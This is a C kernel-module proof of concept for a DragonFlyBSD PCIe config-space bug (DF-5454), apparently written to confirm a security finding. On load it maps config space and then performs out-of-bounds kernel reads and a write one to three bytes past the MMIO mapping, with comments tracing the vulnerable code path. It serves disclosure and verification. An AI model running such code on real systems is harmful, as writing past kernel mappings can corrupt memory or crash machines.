/*
 * DF-5454 PoC — DragonFlyBSD x86_64 PCIe MMIO config-space backend
 * missing reg+width bound -> OOB access past end of pcie_base devmap.
 *
 * Attack path proven here:
 *   pcib bridges  sys/bus/pci/x86_64/pci_bus.c:61-75
 *     (legacy_pcib_read_config / legacy_pcib_write_config — no validation)
 *     -> pci_cfgregread/pci_cfgregwrite
 *     -> pciereg_cfgread/cfgwrite  (pci_cfgreg.c:315-365)
 *        bound check only  reg > PCIE_REGMAX(4095)   -- no reg+bytes<=4096,
 *        no alignment check (mech-1 backend pci_cfgenable has both).
 *
 * The QEMU i440FX guest never activates CFGMECH_PCIE (no MCFG, host bridge
 * 8086:1237 not in the chipset list at pci_cfgreg.c:104-124), so this KLD
 * performs the exact legal call the platform/ACPI would make at boot
 * (pcie_cfgregopen — also invoked from sys/dev/acpica/acpi.c:1669 for any
 * MCFG table) and then issues the offending accesses.  Requires root
 * (kldload), matching the finding's root-gated threat model (the /dev/pci
 * ioctl path pci_user.c:602-673 validates width/alignment but sets NO
 * upper bound on pi_reg).
 *
 * The 256MB MMIO mapping covers bus 0..255.  The highest mapped byte is
 * (bus=255,slot=31,func=7,reg=0xfff).  reg=0xfff width=2 touches one byte
 * PAST the pmap_mapdev_uncacheable() allocation (kernel_map KVA).
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>

/* global kernel symbols, prototypes from sys/bus/pci/x86_64/pci_cfgreg.h */
extern int	pcie_cfgregopen(uint64_t base, uint8_t minbus, uint8_t maxbus);
extern uint32_t	pci_cfgregread(int bus, int slot, int func, int reg, int bytes);
extern void	pci_cfgregwrite(int bus, int slot, int func, int reg,
		    uint32_t data, int bytes);

/* physical address inside guest low RAM (QEMU -m 4096: RAM 0..0xBFFFFFFF) */
#define	MMCFG_PA	0x40000000ULL

static void
df5454_run(void)
{
	uint32_t v;

	kprintf("DF-5454: step0: pcie_cfgregopen(0x%jx, 0, 255) [what ACPI MCFG "
	    "does at boot]\n", (uintmax_t)MMCFG_PA);
	if (pcie_cfgregopen(MMCFG_PA, 0, 255) == 0) {
		kprintf("DF-5454: pcie_cfgregopen refused (hw.pci.mcfg=0?)\n");
		return;
	}

	kprintf("DF-5454: step1: CONTROL in-bounds read (255,31,7,0xffc,4) "
	    "-- must NOT fault\n");
	v = pci_cfgregread(255, 31, 7, 0xffc, 4);
	kprintf("DF-5454: control read ok: 0x%08x\n", v);

	kprintf("DF-5454: step2: OOB READ (255,31,7,0xfff,2) -- last mapped "
	    "byte + 1 byte past 256MB devmap\n");
	v = pci_cfgregread(255, 31, 7, 0xfff, 2);
	kprintf("DF-5454: survived OOB read: 0x%08x (adjacent page mapped)\n", v);

	kprintf("DF-5454: step3: OOB WRITE (255,31,7,0xfff,0xBEBE,2) -- 1 byte "
	    "past mapping\n");
	pci_cfgregwrite(255, 31, 7, 0xfff, 0xBEBE, 2);
	kprintf("DF-5454: survived OOB write\n");

	kprintf("DF-5454: step4: OOB READ (255,31,7,0xffd,4) -- 3 bytes past "
	    "mapping\n");
	v = pci_cfgregread(255, 31, 7, 0xffd, 4);
	kprintf("DF-5454: survived: 0x%08x\n", v);
}

static int
df5454_handler(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		df5454_run();
		return (0);
	case MOD_UNLOAD:
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t df5454_mod = {
	"df5454",
	df5454_handler,
	NULL
};

DECLARE_MODULE(df5454, df5454_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
MODULE_VERSION(df5454, 1);
